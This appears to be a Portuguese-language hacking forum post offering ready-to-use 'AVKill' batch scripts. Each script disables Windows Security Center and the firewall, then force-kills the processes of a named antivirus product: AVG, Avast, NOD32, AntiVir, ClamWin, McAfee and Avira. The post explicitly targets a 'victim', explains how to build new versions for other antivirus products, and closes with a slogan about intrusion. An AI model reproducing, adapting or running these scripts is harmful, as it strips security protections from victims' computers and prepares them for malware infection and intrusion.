Criando em arquivos BAT ou AVkill

Abra o Bloco de notas e colem o que está em baixo e em seguida salvem com extensão BAT... o seu AVKill está criado, procure saber qual o AV da vítima.

Seguem os AVKills:

AVG
@echo off
break off
cd\
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul
goto avg
:avg
taskkill /f /im avgcc.exe >nul
taskkill /f /im avgcc.exe >nul
taskkill /f /im avgamsvr.exe >nul
taskkill /f /im avgupsvc.exe >nul
taskkill /f /im avgw.exe >nul
taskkill /f /im avgcc32.exe >nul
taskkill /f /im avgctrl.exe >nul
taskkill /f /im avgserv.exe >nul
taskkill /f /im avgserv9.exe >nul
taskkill /f /im avgserv9schedapp.exe >nul
taskkill /f /im avgw.exe >nul
taskkill /f /im avgemc.exe >nul
cls
exit

AVAST
@echo off
break off
cd\
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul
goto avast
:avast
taskkill /f /im ashwebsv.exe >nul
taskkill /f /im ashdisp.exe >nul
taskkill /f /im ashmaisv.exe >nul
taskkill /f /im ashserv.exe >nul
taskkill /f /im aswUpdSv.exe >nul
taskkill /f /im ashwebsv.exe >nul
cls
exit

NOD 32
@echo off
break off
cd\
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul
cls
goto nod32
:nod32
taskkill /f /im nod32krn.exe >nul
taskkill /f /im nod32kui.exe >nul
cls
exit

AntiVir
@echo off
break off
cd\
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul
cls
goto antivir
:antivir
taskkill /f /im avcenter.exe >nul
taskkill /f /im avcmd.exe >nul
taskkill /f /im avconfig.exe >nul
taskkill /f /im avguard.exe >nul
taskkill /f /im avgnt.exe >nul
taskkill /f /im avnotify.exe >nul
taskkill /f /im avscan.exe >nul
taskkill /f /im guardgui.exe >nul
taskkill /f /im licmgr.exe >nul
taskkill /f /im sched.exe >nul
taskkill /f /im preupd.exe >nul
cls
exit

KClam
@echo off
break off
cd\
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul
goto clanwin
:clanwin
taskkill /f /im clamscan.exe >nul
taskkill /f /im clamTray.exe >nul
taskkill /f /im clamWin.exe >nul
taskkill /f /im freshclam.exe >nul
taskkill /f /im oladdin.exe >nul
taskkill /f /im sigtool.exe >nul
taskkill /f /im w9xpopen.exe >nul
taskkill /f /im Wclose.exe >nul
cls
exit

MCaFee
@echo off
break off
cd\
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul
goto mcafee
:mcafee
taskkill /f /im cmgrdian.exe >nul
taskkill /f /im alogserv.exe >nul
taskkill /f /im mcshield.exe >nul
taskkill /f /im vshwin32.exe >nul
taskkill /f /im avconsol.exe >nul
taskkill /f /im vsstat.exe >nul
taskkill /f /im avsynmgr.exe >nul
cls
exit

Avira
@echo off
break off
cd\
net stop wscsvc >nul
sc config wscsvc start= disabled
cls
netsh firewall set opmode mode=disable >nul
net stop SharedAccess >nul
cls
goto avira
:avira
taskkill /f /im avadmin.exe >nul
taskkill /f /im avcenter.exe >nul
taskkill /f /im avgnt.exe >nul
taskkill /f /im avguard.exe >nul
taskkill /f /im avnotify.exe >nul
taskkill /f /im avscan.exe >nul
taskkill /f /im guardgui.exe >nul
cls
exit

Deixem mais aqui....

Repare que vc pode fazer um, basta ir em processos do Windows e verificar qual executável referente ao AV está rodando, em seguida vá na pasta onde o AV está instalado e veja os executáveis que lá estão, substitua os que estão postados.
"A união faz a invasão"